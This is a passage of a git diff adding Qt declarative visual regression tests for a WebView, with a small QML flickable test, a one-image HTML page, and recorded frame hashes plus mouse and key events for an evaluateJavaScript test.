+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8800
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8816
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8832
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8848
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8864
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8880
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8896
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8912
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8928
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8944
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8960
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8976
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 8992
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9008
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9024
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9040
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9056
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9072
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9088
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9104
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9120
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9136
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9152
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9168
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9184
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9200
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9216
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9232
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9248
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9264
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9280
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9296
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9312
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9328
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9344
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9360
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9376
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9392
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9408
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9424
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9440
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9456
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9472
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9488
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9504
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9520
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9536
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9552
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9568
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9584
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9600
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9616
+ image: "flickweb.10.png"
+ }
+ Frame {
+ msec: 9632
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9648
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9664
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9680
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9696
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 9712
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/flickweb.qml b/tests/auto/declarative/qmlvisual/webview/flickable/flickweb.qml
new file mode 100644
index 00000000..af09389f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/flickweb.qml
@@ -0,0 +1,35 @@
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Flickable {
+ id: flickable
+ width: 320
+ height: 200
+ contentWidth: Math.max(flickable.width,webView.width)
+ contentHeight: Math.max(flickable.height,webView.height)
+ pressDelay: 100
+
+ WebView {
+ id: webView
+ transformOrigin: Item.TopLeft
+ smooth: false // We don't want smooth scaling, since we only scale during (fast) transitions
+ url: "test.html"
+ preferredWidth: flickable.width
+ preferredHeight: flickable.height
+ contentsScale: 1
+ onContentsSizeChanged: {
+ // zoom out
+ contentsScale = Math.min(1,flickable.width / contentsSize.width)
+ }
+ }
+
+ Rectangle {
+ id: button
+ width: 50; height: 50; color: "red"
+ MouseArea {
+ anchors.fill: parent
+ onPressed: button.color = "blue"
+ onReleased: button.color = "green"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/qtlogo.png b/tests/auto/declarative/qmlvisual/webview/flickable/qtlogo.png
new file mode 100644
index 00000000..399bd0b1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/qtlogo.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/flickable/test.html b/tests/auto/declarative/qmlvisual/webview/flickable/test.html
new file mode 100644
index 00000000..35eb7184
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/flickable/test.html
@@ -0,0 +1,3 @@
+<html>
+ <img width="400" height="400" src="qtlogo.png">
+</html>
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.png
new file mode 100644
index 00000000..139aa9d8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.png
new file mode 100644
index 00000000..e2e16442
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.png
new file mode 100644
index 00000000..aa2fb828
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.png
new file mode 100644
index 00000000..19764309
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.png
new file mode 100644
index 00000000..c895a0a3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.png
new file mode 100644
index 00000000..c895a0a3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.png
new file mode 100644
index 00000000..c895a0a3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.png
new file mode 100644
index 00000000..c895a0a3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.png b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.png
new file mode 100644
index 00000000..c895a0a3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml
new file mode 100644
index 00000000..bfe40da2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/webview/javascript/data/evaluateJavaScript.qml
@@ -0,0 +1,3759 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 32
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 48
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 64
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 80
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 96
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 112
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 128
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 144
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 160
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 176
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 192
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 208
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 224
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 240
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 256
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 272
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 288
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 304
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 320
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 336
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 352
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 368
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 384
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 400
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 416
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 195; y: 25
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 187; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 432
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 153; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 448
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 145; y: 87
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 139; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 464
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 135; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 129; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 480
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 125; y: 131
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 121; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 117; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 496
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 111; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 512
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 107; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 101; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 528
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 97; y: 177
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 95; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 544
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 195
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 560
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 576
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 592
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 608
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 79; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 624
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 77; y: 207
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 76; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 640
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 656
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 218
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 220
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 672
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 688
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 704
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 720
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 736
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 752
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 768
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 784
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 225
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 800
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 816
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 222
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 832
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 221
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 61; y: 217
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 848
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 60; y: 215
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 864
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 59; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 880
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 896
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 912
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 928
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 944
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 960
+ image: "evaluateJavaScript.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 992
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1008
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 55; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1024
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1040
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1056
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1072
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1088
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 55; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1104
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1120
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1136
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1152
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1168
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1184
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1200
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1216
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1232
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1248
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1264
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1280
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1296
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 57; y: 212
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 209
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1328
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 207
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 207
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1376
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1392
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1408
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1424
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1440
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1456
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1472
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1488
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1504
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1520
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1536
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1552
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1568
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1584
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1600
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1616
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1632
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1648
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1664
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1680
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Frame {
+ msec: 1696
+ hash: "f35c69aed43a795ff02b46d7b01ef64a"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1712
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1728
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1744
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1760
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1776
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1808
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1824
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1840
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1856
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1872
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1888
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1904
+ hash: "244200622435603a75f58366496daf8b"
+ }
+ Frame {
+ msec: 1920
+ image: "evaluateJavaScript.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "244200622435603a75f58366496daf8b"
+ }
